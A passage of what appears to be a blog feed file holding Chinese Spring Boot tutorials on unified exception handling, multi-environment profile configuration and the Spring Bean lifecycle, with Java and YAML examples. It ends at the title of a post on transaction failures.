class="params">(String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ResourceNotFoundException</span>(message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> ResourceNotFoundException <span class="title function_">of</span><span class="params">(String resourceType, Object id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ResourceNotFoundException</span>(resourceType + <span class="string">&quot;不存在，ID: &quot;</span> + id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="参数校验"><a href="#参数校验" class="headerlink" title="参数校验"></a>参数校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;UserDTO&gt; <span class="title function_">createUser</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="type">UserDTO</span> <span class="variable">user</span> <span class="operator">=</span> userService.createUser(request);</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(HttpStatus.CREATED).body(user);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CreateUserRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 3, max = 50, message = &quot;用户名长度必须在3-50之间&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Size(min = 6, message = &quot;密码长度至少6位&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="使用示例"><a href="#使用示例" class="headerlink" title="使用示例"></a>使用示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserRepository userRepository)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userRepository = userRepository;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findById(id)</span><br><span class="line">            .orElseThrow(() -&gt; ResourceNotFoundException.of(<span class="string">&quot;用户&quot;</span>, id));</span><br><span class="line">        <span class="keyword">return</span> convertToDTO(user);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">createUser</span><span class="params">(CreateUserRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (userRepository.existsByEmail(request.getEmail())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> BusinessException.of(<span class="string">&quot;邮箱已被注册&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">        user.setUsername(request.getUsername());</span><br><span class="line">        user.setEmail(request.getEmail());</span><br><span class="line">        user.setPassword(encryptPassword(request.getPassword()));</span><br><span class="line">        </span><br><span class="line">        <span class="type">User</span> <span class="variable">savedUser</span> <span class="operator">=</span> userRepository.save(user);</span><br><span class="line">        <span class="keyword">return</span> convertToDTO(savedUser);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="错误响应示例"><a href="#错误响应示例" class="headerlink" title="错误响应示例"></a>错误响应示例</h2><figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">400</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;邮箱已被注册&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/users&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;timestamp&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2024-01-15T10:30:00&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-区分异常类型"><a href="#1-区分异常类型" class="headerlink" title="1. 区分异常类型"></a>1. 区分异常类型</h3><ul><li><strong>业务异常</strong>：用户操作不当（如参数错误、资源不存在）</li><li><strong>系统异常</strong>：服务器内部错误（如数据库连接失败）</li></ul><h3 id="2-日志记录"><a href="#2-日志记录" class="headerlink" title="2. 日志记录"></a>2. 日志记录</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 业务异常记录 warn 级别</span></span><br><span class="line">logger.warn(<span class="string">&quot;业务异常: &#123;&#125;&quot;</span>, ex.getMessage());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 系统异常记录 error 级别（包含堆栈）</span></span><br><span class="line">logger.error(<span class="string">&quot;系统异常: &quot;</span>, ex);</span><br></pre></td></tr></table></figure><h3 id="3-错误码规范"><a href="#3-错误码规范" class="headerlink" title="3. 错误码规范"></a>3. 错误码规范</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 客户端错误：4xx</span></span><br><span class="line"><span class="comment">// 服务端错误：5xx</span></span><br><span class="line"><span class="comment">// 业务错误：自定义码（如 1001, 1002）</span></span><br></pre></td></tr></table></figure><h3 id="4-国际化支持"><a href="#4-国际化支持" class="headerlink" title="4. 国际化支持"></a>4. 国际化支持</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 支持多语言错误消息</span></span><br><span class="line"><span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleBusinessException</span><span class="params">(</span></span><br><span class="line"><span class="params">        BusinessException ex,</span></span><br><span class="line"><span class="params">        HttpServletRequest request,</span></span><br><span class="line"><span class="params">        Locale locale)</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> messageSource.getMessage(</span><br><span class="line">        ex.getErrorCode(), </span><br><span class="line">        ex.getArgs(), </span><br><span class="line">        ex.getMessage(), </span><br><span class="line">        locale</span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.status(HttpStatus.BAD_REQUEST)</span><br><span class="line">        .body(ErrorResponse.of(ex.getCode(), message, request.getRequestURI()));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>统一异常处理能让错误响应更加规范，提升用户体验。关键是：</p><ol><li>定义统一的错误响应格式</li><li>使用 <code>@RestControllerAdvice</code> 统一处理异常</li><li>区分业务异常和系统异常</li><li>记录详细的日志便于排查</li></ol><p>写这篇文章时，我回顾了几个项目的异常处理方案。好的异常处理不仅能提升用户体验，还能帮助快速定位问题。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 多环境配置：最佳实践指南</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-多环境配置：最佳实践指南"><a href="#Spring-Boot-多环境配置：最佳实践指南" class="headerlink" title="Spring Boot 多环境配置：最佳实践指南"></a>Spring Boot 多环境配置：最佳实践指南</h1><p>项目开发中，不同环境（开发、测试、生产）需要不同的配置。今天分享一下 Spring Boot 多环境配置的标准做法。</p><h2 id="配置文件结构"><a href="#配置文件结构" class="headerlink" title="配置文件结构"></a>配置文件结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">src/main/resources/</span><br><span class="line">├── application.yml          # 公共配置</span><br><span class="line">├── application-dev.yml      # 开发环境</span><br><span class="line">├── application-test.yml     # 测试环境</span><br><span class="line">└── application-prod.yml     # 生产环境</span><br></pre></td></tr></table></figure><h2 id="配置文件内容"><a href="#配置文件内容" class="headerlink" title="配置文件内容"></a>配置文件内容</h2><h3 id="1-公共配置（application-yml）"><a href="#1-公共配置（application-yml）" class="headerlink" title="1. 公共配置（application.yml）"></a>1. 公共配置（application.yml）</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">application:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">my-app</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span>  <span class="comment"># 默认激活开发环境</span></span><br><span class="line"></span><br><span class="line"><span class="attr">logging:</span></span><br><span class="line">  <span class="attr">level:</span></span><br><span class="line">    <span class="attr">com.example:</span> <span class="string">DEBUG</span></span><br></pre></td></tr></table></figure><h3 id="2-开发环境（application-dev-yml）"><a href="#2-开发环境（application-dev-yml）" class="headerlink" title="2. 开发环境（application-dev.yml）"></a>2. 开发环境（application-dev.yml）</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/dev_db?useSSL=false&amp;serverTimezone=Asia/Shanghai</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">dev_user</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">dev_password</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">com.mysql.cj.jdbc.Driver</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开发环境特有的配置</span></span><br><span class="line"><span class="attr">app:</span></span><br><span class="line">  <span class="attr">debug:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">mock-data:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h3 id="3-测试环境（application-test-yml）"><a href="#3-测试环境（application-test-yml）" class="headerlink" title="3. 测试环境（application-test.yml）"></a>3. 测试环境（application-test.yml）</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://test.example.com:3306/test_db?useSSL=true&amp;serverTimezone=Asia/Shanghai</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">test_user</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">test_password</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">com.mysql.cj.jdbc.Driver</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试环境特有的配置</span></span><br><span class="line"><span class="attr">app:</span></span><br><span class="line">  <span class="attr">debug:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">mock-data:</span> <span class="literal">false</span></span><br></pre></td></tr></table></figure><h3 id="4-生产环境（application-prod-yml）"><a href="#4-生产环境（application-prod-yml）" class="headerlink" title="4. 生产环境（application-prod.yml）"></a>4. 生产环境（application-prod.yml）</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://prod.example.com:3306/prod_db?useSSL=true&amp;serverTimezone=Asia/Shanghai</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">$&#123;DB_USERNAME&#125;</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;DB_PASSWORD&#125;</span></span><br><span class="line">    <span class="attr">driver-class-name:</span> <span class="string">com.mysql.cj.jdbc.Driver</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生产环境特有的配置</span></span><br><span class="line"><span class="attr">app:</span></span><br><span class="line">  <span class="attr">debug:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">cache-enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="激活方式"><a href="#激活方式" class="headerlink" title="激活方式"></a>激活方式</h2><h3 id="方式一：在配置文件中指定"><a href="#方式一：在配置文件中指定" class="headerlink" title="方式一：在配置文件中指定"></a>方式一：在配置文件中指定</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">prod</span></span><br></pre></td></tr></table></figure><h3 id="方式二：通过启动参数指定"><a href="#方式二：通过启动参数指定" class="headerlink" title="方式二：通过启动参数指定"></a>方式二：通过启动参数指定</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><h3 id="方式三：通过环境变量指定"><a href="#方式三：通过环境变量指定" class="headerlink" title="方式三：通过环境变量指定"></a>方式三：通过环境变量指定</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> SPRING_PROFILES_ACTIVE=prod</span><br><span class="line">java -jar app.jar</span><br></pre></td></tr></table></figure><h3 id="方式四：通过-Maven-打包时指定"><a href="#方式四：通过-Maven-打包时指定" class="headerlink" title="方式四：通过 Maven 打包时指定"></a>方式四：通过 Maven 打包时指定</h3><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">profiles</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">activatedProperties</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">activatedProperties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">activatedProperties</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">activatedProperties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">profiles</span>&gt;</span></span><br></pre></td></tr></table></figure><p>打包命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn clean package -Pprod</span><br></pre></td></tr></table></figure><h2 id="配置优先级"><a href="#配置优先级" class="headerlink" title="配置优先级"></a>配置优先级</h2><p>Spring Boot 配置优先级从高到低：</p><ol><li>命令行参数</li><li>环境变量</li><li>外部配置文件（如 /config/application.yml）</li><li>内部配置文件（application.yml）</li><li>@ConfigurationProperties 注解类</li></ol><h2 id="配置加密"><a href="#配置加密" class="headerlink" title="配置加密"></a>配置加密</h2><p>生产环境的敏感配置（如数据库密码）应该加密：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">&#x27;&#123;cipher&#125;encrypted-password&#x27;</span></span><br></pre></td></tr></table></figure><p>可以使用 Jasypt 进行加密：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.github.ulisesbocchio<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jasypt-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.0.5<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-敏感配置不要硬编码"><a href="#1-敏感配置不要硬编码" class="headerlink" title="1. 敏感配置不要硬编码"></a>1. 敏感配置不要硬编码</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># ❌ 错误：密码硬编码</span></span><br><span class="line"><span class="attr">password:</span> <span class="string">my-secret-password</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ✅ 正确：使用环境变量</span></span><br><span class="line"><span class="attr">password:</span> <span class="string">$&#123;DB_PASSWORD&#125;</span></span><br></pre></td></tr></table></figure><h3 id="2-配置文件分离"><a href="#2-配置文件分离" class="headerlink" title="2. 配置文件分离"></a>2. 配置文件分离</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml 只放公共配置</span></span><br><span class="line"><span class="comment"># 各环境配置只放差异部分</span></span><br></pre></td></tr></table></figure><h3 id="3-配置验证"><a href="#3-配置验证" class="headerlink" title="3. 配置验证"></a>3. 配置验证</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;app&quot;)</span></span><br><span class="line"><span class="meta">@Validated</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppProperties</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank</span></span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(1)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> timeout;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// getters/setters</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-配置文档化"><a href="#4-配置文档化" class="headerlink" title="4. 配置文档化"></a>4. 配置文档化</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml</span></span><br><span class="line"><span class="comment"># 数据库配置</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">datasource:</span></span><br><span class="line">    <span class="comment"># 数据库连接地址</span></span><br><span class="line">    <span class="attr">url:</span> <span class="string">jdbc:mysql://localhost:3306/example_db</span></span><br><span class="line">    <span class="comment"># 数据库用户名</span></span><br><span class="line">    <span class="attr">username:</span> <span class="string">admin</span></span><br><span class="line">    <span class="comment"># 数据库密码（生产环境使用环境变量）</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;DB_PASSWORD:default_password&#125;</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>多环境配置的核心是：</p><ol><li>公共配置和环境特定配置分离</li><li>敏感配置使用环境变量</li><li>通过启动参数灵活切换环境</li><li>配置验证确保正确性</li></ol><p>写这篇文章时，我回顾了几个项目的配置方式。好的配置管理能显著提升开发效率和运维质量。希望这些实践能帮到你。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期：一步步看懂 Spring 是怎么管理对象的</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期：一步步看懂-Spring-是怎么管理对象的"><a href="#Bean-生命周期：一步步看懂-Spring-是怎么管理对象的" class="headerlink" title="Bean 生命周期：一步步看懂 Spring 是怎么管理对象的"></a>Bean 生命周期：一步步看懂 Spring 是怎么管理对象的</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先从一个简单的例子入手"><a href="#先从一个简单的例子入手" class="headerlink" title="先从一个简单的例子入手"></a>先从一个简单的例子入手</h2><p>Spring Boot 项目里，我们通常这样定义一个 Bean：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> <span class="keyword">implements</span> <span class="title class_">InitializingBean</span>, DisposableBean &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserService</span><span class="params">(UserRepository userRepository)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userRepository = userRepository;</span><br><span class="line">        <span class="comment">// 构造器阶段：此时其他 Bean 可能还未完全初始化</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 初始化阶段：适合做一些初始化操作</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// InitializingBean 回调：在 @PostConstruct 之后执行</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cleanup</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 销毁前阶段：释放资源</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// DisposableBean 回调：在 @PreDestroy 之后执行</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="生命周期的完整顺序"><a href="#生命周期的完整顺序" class="headerlink" title="生命周期的完整顺序"></a>生命周期的完整顺序</h2><p>我特意打印了日志来确认执行顺序：</p><ol><li><strong>构造器</strong> → 创建 Bean 实例</li><li><strong>依赖注入</strong> → Spring 注入所需的依赖</li><li><strong>@PostConstruct</strong> → 自定义初始化方法</li><li><strong>InitializingBean.afterPropertiesSet()</strong> → 接口回调</li><li><strong>Bean 就绪</strong> → 可以被其他 Bean 使用</li><li><strong>@PreDestroy</strong> → 自定义销毁方法</li><li><strong>DisposableBean.destroy()</strong> → 接口回调</li><li><strong>Bean 销毁</strong> → 实例被回收</li></ol><h2 id="为什么要搞这么多初始化方式？"><a href="#为什么要搞这么多初始化方式？" class="headerlink" title="为什么要搞这么多初始化方式？"></a>为什么要搞这么多初始化方式？</h2><p>刚开始我也觉得奇怪，为什么需要这么多回调方式。后来理解了，这是为了满足不同场景：</p><ul><li><strong>@PostConstruct</strong> 最常用，适合大多数初始化场景</li><li><strong>InitializingBean</strong> 接口方式更底层，适合框架扩展</li><li>如果需要精确控制顺序，可以同时使用</li></ul><h2 id="实际项目中的坑"><a href="#实际项目中的坑" class="headerlink" title="实际项目中的坑"></a>实际项目中的坑</h2><p>分享几个我踩过的坑：</p><p><strong>坑1：在构造器中调用其他 Bean</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ServiceA</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ServiceA</span><span class="params">(ServiceB b)</span> &#123;</span><br><span class="line">        b.doSomething(); <span class="comment">// 危险！ServiceB 可能还未完全初始化</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>坑2：循环依赖导致的问题</strong><br>如果 A 依赖 B，B 又依赖 A，Spring 会通过三级缓存解决，但如果在初始化方法中调用对方的方法，可能会拿到不完整的 Bean。</p><p><strong>坑3：@PostConstruct 中启动线程</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@PostConstruct</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Thread</span>(<span class="built_in">this</span>::run).start(); <span class="comment">// 如果这里抛异常，Bean 会被标记为失败</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 Bean 生命周期最重要的不是死记顺序，而是知道在哪个阶段可以做什么、不能做什么。实际项目中，我更倾向于用 <code>@PostConstruct</code> 和 <code>@PreDestroy</code>，简单直观。只有在需要和 Spring 框架深度集成时，才会考虑实现 InitializingBean 接口。</p><p>写这篇文章时，我特意搭了个测试项目验证每个阶段的执行顺序。实践出真知，光看理论总容易记混。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效：那些年我们踩过的坑</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
